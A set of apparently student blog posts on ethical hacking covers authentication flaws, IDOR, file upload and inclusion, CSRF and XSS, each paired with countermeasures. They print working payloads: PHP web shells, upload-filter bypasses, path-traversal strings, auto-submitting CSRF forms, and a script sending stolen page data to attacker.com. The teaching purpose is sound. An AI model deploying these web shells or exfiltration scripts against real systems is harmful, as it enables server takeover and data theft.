Segfault ethical hacking week 16

Who Are You, and What Can You Do? (Authentication & Authorization Vulnerabilities)

It's hard to imagine a web service without a login function. Likewise, Authentication and Authorization are the foundation and core of every service. But when this foundation crumbles, the service faces its greatest threat.

• Authentication: The process of verifying 'who' a user is (e.g., entering an ID/password, fingerprint scan).

• Authorization: The process of checking and granting 'what' an authenticated user is permitted to do (e.g., accessing an admin page, editing someone else's post).

This week, we dove into the critical vulnerabilities that arise from these two core security functions.

1. Authentication Vulnerabilities: "Who are you?"

Authentication is a process of "proof." These attacks exploit flaws in this verification process to impersonate someone else or to skip the process entirely.

1) Authentication Based on Untrusted Client Data

One of the most basic mistakes is relying on client-side information to determine authentication status. Values stored in the browser, such as cookies or local storage, can be easily manipulated by the user.

• Attack Scenario: After logging in, the server issues a cookie like Set-Cookie: role=user. An attacker can simply use Burp Suite or the browser's developer tools (F12) to change this value to role=admin and gain administrative privileges.

• Key Takeaway: Never trust the user. Critical state information like permissions must be stored and validated in a server-side session.

2) Bypassing Authentication Steps (Process Step Jump)

When a service's functionality consists of multiple steps, this attack involves skipping intermediate steps and accessing the final step directly. It's often found in features like identity verification, registration, or password changes.

• Attack Scenario: In a registration process with the order Agree to Terms (step1) -> Verify Identity (step2) -> Enter Information (step3), an attacker on the step1 page can directly manipulate the URL to something like .../join?step=3, skipping the step2 identity verification and moving straight to the information entry stage.

• Countermeasure: At each step, the server must verify that the previous step was completed successfully, typically by using a session flag.

3) Unlimited Authentication Attempts (Brute-Force Attack)

If there is no limit on the number of login attempts, an attacker can use automated tools to try endless combinations of IDs and passwords to hijack an account.

• Attack Types:

  • Brute-force Attack: Tries every possible combination of characters, like aaaa, aaab, and so on.

  • Dictionary Attack: Tries a list of commonly used words or passwords from previous data breaches.

• Countermeasure: It's effective to implement account lockouts after a certain number of failed attempts, introduce CAPTCHA to block automated attacks, and add a login delay time.

2. Authorization Vulnerabilities: "Are you worthy to open this door?"

Authorization is a matter of "privilege." Any attempt by an already logged-in user to access functions or data that are not permitted to them falls under an authorization attack.

1) Client-Side Authorization Controls

This is an extremely vulnerable practice where access is restricted only by what is visible on the screen, without real security considerations. An attacker can easily bypass this using just the developer tools (F12).

• Vulnerable Examples:

  • Hiding an admin button using HTML comments: ``.

  • Hiding an admin menu with the style="display:none" attribute.

  • Validating permissions using JavaScript: if (user.role != 'admin') { alert('Permission denied'); return; }.

• Key Takeaway: If you see a "permission denied" message instantly without a request going to the server, it's a 100% client-side control. All permission checks must be performed on the server.

2) Insecure Direct Object Reference (IDOR)

This is the alpha and omega of authorization vulnerabilities. It's an attack where a user changes the identifier (ID, number) of data they are accessing (posts, user info, files) to access another user's data.

• Attack Scenarios:

  • When the URL for editing a post is .../post/edit?postId=123, an attacker changes the postId to another number (124) to edit or delete someone else's post.

  • In a private support forum, an attacker changes the id value in .../inquiry/view?id=456 to read another person's secret inquiry.

• Countermeasure: For every request that accesses or modifies data, the server must cross-check: "Does the currently logged-in user (from the session) have ownership of/permission for the requested object (e.g., postId=124)?"

3) Guessing Hidden Functionality

This attack involves directly accessing admin pages or special feature pages that are not visible to regular users by guessing their URLs.

• Attack Scenario: An attacker tries to access common admin page URLs like https://example.com/admin, https://example.com/manager.jsp, or https://example.com/dashboard.

• Countermeasure: While using complex, hard-to-guess URLs can help, the fundamental solution is to apply strong server-side authorization checks to every administrative page.

Segfault ethical hacking week 15

3 Ways to Topple a Web Server: A Complete Guide to File Vulnerabilities (Upload, Download, Inclusion)

Features that handle user files (like forums, file archives, or profile picture uploads) are common in web applications. However, this ordinary functionality can become a deadly door, giving away everything on your server. This week, we'll dive deep into three major vulnerabilities caused by improper file handling: File Upload, File Download, and File Inclusion.

1. File Upload Vulnerability: Planting Malware on My Server 

A File Upload Vulnerability allows an attacker to upload arbitrary files to a server. The ultimate goal of this attack is to upload a Web Shell, which can execute commands on the server.

What is a Web Shell? A web shell is a script file that allows server commands to be executed through web requests. A server can be compromised with just a single line of code. <?php system($_GET['c']); ?> The code above executes the value passed in the 'c' parameter directly on the server (e.g., /webshell.php?c=ls -al). After uploading the web shell, the attacker can access it through a web browser to control the server remotely.

How Do They Bypass Defenses? (Bypass Techniques)

Servers typically block the upload of executable files like .php, .jsp, or .asp. Attackers use various techniques to bypass this defensive logic.

• Double Extension: This technique deceives filters by using extensions like webshell.php.jpg. Some servers may only check the first extension instead of the last one.

• NULL Byte Injection: This involves inserting a NULL character (%00) in the middle of the filename, like webshell.php%00.jpg. In older systems based on C/C++, the NULL character is treated as the end of the string, causing the file to be saved as webshell.php.

• .htaccess File Upload: In an Apache server environment, an attacker might upload a malicious .htaccess file that overwrites server settings, forcing it to execute a specific extension (e.g., .jpg) as a PHP file.

Countermeasures

• Extension Whitelisting (Most Important): Create a whitelist of allowed extensions (e.g., jpg, png, gif) and only permit those files to be uploaded.

• Filename Obfuscation and Path Secrecy: Change the name of the uploaded file to a random string and store it in a path that cannot be directly guessed or accessed from the outside.

• Use External Storage: Store files on a separate file server (NAS) or cloud storage (like AWS S3) to isolate them from the web server.

• Store Files in a Database: Another method is to store files as binary data (BLOB) within the database.

2. File Inclusion Vulnerability: Assembling Server Files at Will 

A File Inclusion vulnerability occurs in functions like include or require that load and execute specific files based on user input (parameters).

• Local File Inclusion (LFI): Includes files from within the server.

• Remote File Inclusion (RFI): Includes files from an external server. RFI is far more critical as it allows an attacker to execute any malicious script they want immediately.

Attack Scenario (LFI)

1. An attacker notices a URL that functions like ?page=intro.php.

2. The attacker then inputs a path to a critical system file, like ?page=../../../../etc/passwd, to read its contents.

3. If file uploading is not possible, the attacker can use LFI to poison the web server's log file (access_log) by recording a malicious script in it, and then include that log file to execute the code. This is known as Log Poisoning.

3. File Download Vulnerability: A Window into the Server's Soul 

A File Download Vulnerability involves manipulating the parameters of a download function to retrieve files from outside the intended directory. The core of this attack is Path Traversal.

Attack Scenario

1. An attacker discovers a download link structured like download.php?fileName=report.pdf.

2. The attacker then uses ../ to navigate to parent directories, using a payload like fileName=../../../../etc/passwd (Linux) or fileName=../../../../boot.ini (Windows) to download critical system files.

The biggest advantage of this vulnerability is the ability to download the source code in its original form. An attacker who obtains the source code can easily find high-value information like database credentials, server logic, and other hidden vulnerabilities, making it a severe threat that enables further chained attacks.

From a penetration testing perspective, if a file download vulnerability is found, the top priority becomes downloading the web application's configuration files (web.xml, config.php, etc.) and the source code itself.

Segfault ethical hacking week 14

File Upload Vulnerabilities 

Hello! Welcome to my blog where I consistently document my penetration testing studies. Today, we're going to take a deep dive into a powerful vulnerability that can lead to a direct server takeover: File Upload Vulnerability.

What is a File Upload Vulnerability?

As the name suggests, it is a vulnerability that allows an attacker to upload any arbitrary file they want to the server. While it may seem simple, this vulnerability is extremely critical as it enables a wide range of attacks, from taking over the server's control via a 'Web Shell' to orchestrating DoS attacks and phishing campaigns.

• Cause: This vulnerability occurs because the server fails to properly validate the extension or content of the uploaded file. The server doesn't distinguish whether the uploaded file is an image or an executable file and simply allows it.

• Location: It can be found anywhere a file upload function exists, such as on forums, media galleries, or profile picture uploaders. You can easily check for this vulnerability by intercepting and analyzing the file upload request with a proxy tool like Burp Suite.

Attack Scenarios Using File Upload Vulnerabilities

So, what can an attacker do once they discover a file upload vulnerability?

• Upload a Web Shell: This is the core of the attack. By uploading a malicious script file that can be executed by the server (e.g., in PHP, JSP, ASP), the attacker gains the ability to issue commands to the server through a web browser. This is effectively the same as seizing control of the server.

• Denial of Service (DoS) Attack: The attacker can crash the service by uploading a file that is too large for the server to handle, or by uploading numerous files to exhaust the server's storage (disk space), thereby paralyzing normal operations.

• Upload a Phishing Page: An attacker can upload a fake login page (an HTML file) that looks identical to the real site. They can then lure users to this page to steal their usernames and passwords.

• Distribute Malware: Attackers can upload files containing malware to high-traffic forums, infecting the computers of an unspecified number of users.

• Deface Attack: This involves overwriting the website's main page (index.html or index.php) with a different file created by the attacker, thus altering the website's appearance.

💡 Server-Side vs. Client-Side Attack

• SQL Injection and Web Shells are Server-Side Attacks because they directly attack the server's database or system.

• XSS and CSRF are Client-Side Attacks because the malicious script operates within the user's web browser (the client). By uploading a file containing a malicious script, it's also possible to launch a Stored XSS attack.

Core Attack: An In-Depth Analysis of Web Shells

The crown jewel of file upload attacks is undoubtedly the Web Shell attack. It's so common that the terms "File Upload Vulnerability" and "Web Shell Attack" are often used interchangeably.

1. What is a Web Shell?

A web shell is a script that runs on the server and provides the attacker with a "web-based shell," allowing them to remotely execute commands. For example, here is a simple PHP web shell:

PHP

<?php
    // Executes the value of the 'cmd' URL parameter as a system command and prints the output.
    echo system($_GET['cmd']);
?>

If this file were uploaded to the server as webshell.php, the attacker could execute the ls -al command (to list files) on the server by simply entering the following URL in their browser, and see the result on their screen:

http://[Target-Site].com/uploads/webshell.php?cmd=ls -al

Gaining the ability to execute commands means you have completely compromised the server.

2. Key Challenges of a Web Shell Attack

1. Upload Executable Code: The attacker must create and upload a web shell that is compatible with the target server's language (e.g., PHP, JSP, ASP).

2. Find the Path of the Uploaded File: Even if the web shell is uploaded, it's useless if the attacker doesn't know its exact location (URL). Finding this path is the biggest hurdle in a web shell attack. The path can often be found by uploading a file and then copying the image address or file download link from the page where it's displayed.

Bypassing Weak Security Logic

Security administrators are aware of the dangers of file uploads and implement various defense mechanisms. An attacker must bypass these security logics.

• Content-Type Manipulation: If the server only checks the file's MIME type (Content-Type), an attacker can bypass this by uploading a web shell (webshell.php) and using Burp Suite to change the Content-Type in the request packet to something like image/jpeg.

• Bypassing Extension Filters:

  • Case Sensitivity: If uploading webshell.php is blocked, try mixing the case, like webshell.PhP or webshell.pHP.

  • Using Alternative Extensions: If the server only blocks .php, try other extensions that the PHP engine might still execute, such as .phtml, .php3, or .php5.

  • Using Special Characters: In some cases, adding a space or a special character after the extension can bypass the filter.

• Path Traversal: If the server has disabled execution permissions on a specific folder like /uploads/avatars/, an attacker can manipulate the save path. By including ../ (which navigates to the parent directory) in the filename, like ../webshell.php, they can attempt to save the file in a different, executable directory.

• Embedding a Web Shell in a Normal Image (Using a Hex Editor): This is one of the most sophisticated and common methods.

  1. Prepare a normal image file (e.g., normal.jpg).

  2. Open the image file with a Hex Editor and insert the web shell code, like <?php system($_GET['cmd']); ?>, at the end of the file or within its metadata.

  3. The server checks the file's signature (Magic Number) at the beginning, identifies it as a valid image, and allows the upload. However, this file is now a potential web shell that can be executed by the PHP engine. (Note: The method of execution can vary depending on the server configuration.).

Important Considerations for Penetration Testing (Crucial!)

When you discover a file upload vulnerability during a real penetration test, you must never upload an actual web shell. This is a highly aggressive action that directly impacts the system.

1. No Live Web Shells: If the goal is simply to check for the vulnerability, the standard procedure is to upload a harmless text file (test.txt) or an image file to confirm that a file can be uploaded and its path can be identified.

2. If You Must Verify Executability: If you absolutely need to prove that an uploaded file can be executed, it is best to upload a file with a very simple and harmless code, such as one that just prints "Hello World".

3. Always Get Permission: If you need to perform a demonstration by uploading a real web shell, you must first discuss it thoroughly with the client (or the person in charge) and obtain written permission before proceeding. Uploading a web shell without authorization can be considered a criminal act.

Segfault ethical hacking week 13

Understanding CSRF (Cross-Site Request Forgery): A Deep Dive 

CSRF (Cross-Site Request Forgery) is a widespread and critical web vulnerability. It works by exploiting the trust a web application has in an authenticated user's browser, tricking it into performing unauthorized actions on the user's behalf.

In a CSRF attack, an attacker crafts a malicious request and tricks an authenticated user into sending it to a target application. Because the browser automatically includes the user's valid session credentials (like cookies) with the request, the server processes it as a legitimate action initiated by the user.

A typical CSRF attack flow looks like this:

1. The user logs into a web application, establishing an active session.

2. The attacker creates a malicious link or a hidden HTML form that targets a specific action on the site (e.g., changing a password, transferring funds).

3. The attacker persuades the user to click the link or load the page containing the form, often through phishing emails or malicious websites.

4. The user's browser automatically attaches authentication cookies to the forged request.

5. The server receives the request and processes it, believing it came directly from the legitimate user.

Since the victim is often completely unaware that the action occurred, CSRF can lead to severe consequences, such as account compromise, unauthorized data manipulation, or financial theft.

Effective prevention strategies include:

• Implementing unique anti-CSRF tokens for each state-changing request.

• Setting the SameSite attribute on session cookies to restrict cross-site sending.

• Validating the Referer or Origin headers to confirm the request's source.

• Requiring re-authentication or CAPTCHA for highly sensitive actions.

---

CSRF vs. XSS: Key Differences and Mitigations Explained 

When studying web security, XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) are two of the most common attacks you'll encounter. While both are dangerous, they operate in fundamentally different ways.

What Is XSS (Cross-Site Scripting)?

• Definition: XSS is a vulnerability where an attacker injects malicious scripts into a website, which are then executed in a victim's browser. This allows the attacker to steal cookies, hijack user sessions, or deface websites.

• Key Characteristics:

  • Occurs when user-supplied input is not properly sanitized before being displayed on a page.

  • The malicious script runs within the victim's browser (client-side).

What Is CSRF (Cross-Site Request Forgery)?

• Definition: CSRF is an attack that tricks a server into performing an action that an authenticated user did not intend to execute. The attacker forges a request that the victim's browser sends using their existing session credentials.

• Key Characteristics:

  • Forces a victim's browser to send an unauthorized request.

  • Relies on an existing authenticated session (managed via cookies).

  • The server is tricked into treating the forged request as legitimate.

Request Method Examples

CSRF attacks can abuse any HTTP method, but GET and POST are common.

• GET Method Example: An attacker could embed a malicious image tag where the src attribute points to a state-changing action.

  HTML

  <img src="http://vulnerable.com/change-password?new_password=1234" width="0" height="0">
  

• POST Method Example: An attacker can create a hidden form on their own website that targets an action on the vulnerable site.

  HTML

  <form action="http://vulnerable.com/transfer-funds" method="POST">
    <input type="hidden" name="to_account" value="attacker_account">
    <input type="hidden" name="amount" value="1000">
  </form>
  <script> document.forms[0].submit(); </script>
  

---

Core Security Concepts & Mitigations

Same Origin Policy (SOP)

• Definition: SOP is a fundamental security mechanism enforced by browsers. It prevents scripts from a page at one origin (e.g., attacker.com) from accessing data or properties of a page at another origin (e.g., victim.com).

• Same origin means the protocol, domain, and port must all match.

• Relevance to CSRF: While SOP prevents an attacker's script from reading the response from a cross-origin request, it does not stop the browser from sending the request in the first place. This is why CSRF attacks work.

CSRF Mitigation Strategies

Effective defenses are layered and combine multiple techniques.

1. Anti-CSRF Tokens

   • The server generates a unique, unpredictable token and embeds it in a hidden field in forms.

   • When the user submits the form, the token is sent back.

   • The server validates that the received token matches the one it issued for that session. Since an attacker cannot predict this token due to SOP, the forged request will fail validation.

2. Referer Validation

   • The server checks the Referer header to ensure the request originated from its own domain.

   • Limitation: This can be bypassed, as some browsers or configurations may not send the header, or an attacker can use techniques to suppress it (<meta name="referrer" content="no-referrer">).

3. SameSite Cookies

   • This is a modern and highly effective defense. By setting the SameSite attribute on a cookie to Strict or Lax, the browser is instructed not to send the cookie along with cross-site requests.

   • SameSite=Strict: The cookie is only sent for same-site requests.

   • SameSite=Lax: The cookie is sent with top-level GET requests but withheld on cross-domain POST requests.

---

Attack Flow and Summary

XSS Attack Flow

[Attacker injects a malicious script into a website] ➡️ [Victim loads the compromised page] ➡️ [The script executes in the victim's browser] ➡️ [Script steals session cookies or manipulates the page]

CSRF Attack Flow

[Victim logs into a trusted site] ➡️ [Attacker crafts a malicious request for an action on that site] ➡️ [Victim is tricked into loading the attacker's page or clicking a link] ➡️ [Victim's browser automatically sends the forged request with session cookies] ➡️ [Server processes the request as a valid user action]

Summary of Differences

Aspect	XSS (Cross-Site Scripting)	CSRF (Cross-Site Request Forgery)
Execution Point	In the client's browser	On the server side (triggered by the client)
Primary Goal	Steal user data (e.g., cookies) or control the page	Perform unauthorized state-changing actions
Core Defense	Input/output sanitization and encoding	Anti-CSRF tokens, SameSite cookies
Trust Exploited	The trust a user has in a website	The trust a website has in a user's browser

Segfault ethical hacking week 12

Understanding CSRF (Cross-Site Request Forgery): A Deep Dive

CSRF (Cross-Site Request Forgery) is one of the most common and dangerous web vulnerabilities. It exploits the trust that a web application has in a user’s browser session to perform unauthorized actions on behalf of the user.

Server-side attack:

• SQL Injection: Manipulating server queries by injecting malicious SQL statements.

Client-side attacks:

• XSS (Cross-Site Scripting): Injecting malicious scripts into web pages viewed by other users.

• CSRF (Cross-Site Request Forgery): Forcing a victim’s browser to send unintended requests to a trusted site.

Script that retrieves data from another page

Example:

<iframe id="myFrame" src="mypage.php"></iframe>
<script>
  var myFrame = document.getElementById('myFrame');
  var data = myFrame.contentDocument.getElementById('targetElement').innerText;
  var i = new Image();
  i.src = "https://attacker.com/?" + data;
</script>

• This script loads a page into an iframe and extracts specific data.

• The stolen data is sent to the attacker via a GET request.

CSRF (Cross-Site Request Forgery)

• An attack that tricks the victim into making unwanted requests to the server.

• Example: When the victim is authenticated, the attacker forces a request that changes account settings.

Difference:

• CSRF: Victim’s browser is exploited to send requests.

• XSS: Malicious scripts are injected to run in the victim’s browser.

Combining CSRF and XSS

• XSS can be used to automatically trigger CSRF, without requiring the victim to click.

• Where does CSRF happen?

  • Any request can be exploited.

  • GET requests are particularly dangerous because clicking a link is enough.

  • Using POST instead of GET does not solve CSRF if no validation is implemented.

Example:

<h1>Click This!!!</h1>
<form method="POST" action="https://victim.com/update">
  <input type="hidden" name="email" value="attacker@example.com" />
  <input type="submit" value="Submit" />
</form>

• When the victim clicks, a forged request updates data.

Iframe-based attacks

Hidden iframe:

<iframe width="0" height="0" border="0" name="stealthFrame"></iframe>

Using JavaScript to auto-submit a form:

<script>
  document.getElementById("myForm").submit();
</script>

• The victim unknowingly sends the request.

Automated XSS scenario

Example:

<h1>Hello</h1>
<form method="POST" action="https://victim.com/change" id="myForm">
  <input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
  document.getElementById("myForm").submit();
</script>

• Visiting the page triggers the request automatically.

Combining iframe + form submission

Example:

<iframe name="stealthFrame"></iframe>
<form method="POST" action="https://victim.com/delete" id="myForm" target="stealthFrame">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.getElementById("myForm").submit();
</script>

• The request is sent invisibly in the background.

CSRF Token

• A unique token generated by the server for each user session.

• Must be included in forms:

<form>
  <input type="hidden" name="csrfToken" value="unique_token_value" />
</form>

• The server verifies that the submitted token matches.

• If the token is missing or invalid, the request is rejected.

CSRF token characteristics:

• Unknown to the attacker.

• Changes with every request.

• Prevents attacks even when using iframes.

Bypassing CSRF using iframe and JavaScript

• Attackers may try to load a victim’s page in an iframe:

<iframe src="mypage"></iframe>

• Use JavaScript to read the CSRF token:

var token = iframe.contentDocument.getElementById("csrfToken").value;

• Then create a malicious form and submit it with the stolen token.

• This method can bypass CSRF protection if the site allows cross-origin access (which is why Same-Origin Policy must be enforced)..

Segfault ethical hacking week 11-2

 

Understanding XSS (Cross-Site Scripting): A Deep Dive

1. Overview of XSS Mitigation Strategies

Including an overview table at the beginning helps readers quickly grasp the main concepts. For example:

Category	Method	Advantages	Disadvantages
Blacklist Filtering	Block specific strings/patterns	Flexible	Easy to bypass
Whitelist Filtering	Allow only specific strings/tags	Very secure	Highly restricts user input
HTML Entity Encoding	Escape special characters	Prevents script execution	Limits input freedom

2. Concrete HTML Entity Encoding Examples

Adding a reference table makes this more intuitive:

Character	Entity
<	&lt;
>	&gt;
&	&amp;
"	&quot;
'	&#x27;
/	&#x2F;

3. Event Handler Reference

A list of common event handler attributes is especially important for beginners. You can organize them in a table:

Event	Description
onerror	Executes on resource load failure
onload	Executes when loading is complete
onclick	Executes on click
onmouseover	Executes on mouse over
onfocus	Executes when an element gains focus
onblur	Executes when an element loses focus

There are over 50 different event attributes, so in whitelist filtering, you should explicitly allow only those that are strictly necessary.

4. Introducing Content Security Policy (CSP)

Recently, CSP configuration has become a core part of XSS defense. A brief overview is helpful:

• What is CSP?

  • A security policy that instructs the browser which resources are allowed to load.

• Example HTTP Header

  Content-Security-Policy: default-src 'self'; script-src 'self';
  

  • default-src 'self': Only allow resources from your own domain.

  • script-src 'self': Block external scripts.

• Advantages

  • Blocks script injection effectively.

• Disadvantages

  • Can be disruptive when retrofitted to existing services.

Adding this section will improve the professional credibility of your article.

5. HTTP Only / Secure Cookie Flags

It’s also worth mentioning cookie protection settings that are frequently discussed alongside XSS mitigation:

• HttpOnly: Prevents JavaScript from accessing cookies.

• Secure: Sends cookies only over HTTPS.

• SameSite: Restricts cross-site request cookies.

Example:

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict

6. Brief Introduction to DOM-based XSS

Most examples you shared are Reflected or Stored XSS. It helps to briefly introduce DOM-based XSS as well:

• What is DOM-based XSS?

  • Occurs when client-side scripts process untrusted input (e.g., location, document.write) without sanitization.

• Example

  var q = location.hash.substr(1);
  document.getElementById("result").innerHTML = q;
  

  → If you navigate to #<img src=x onerror=alert(1)>, the script executes.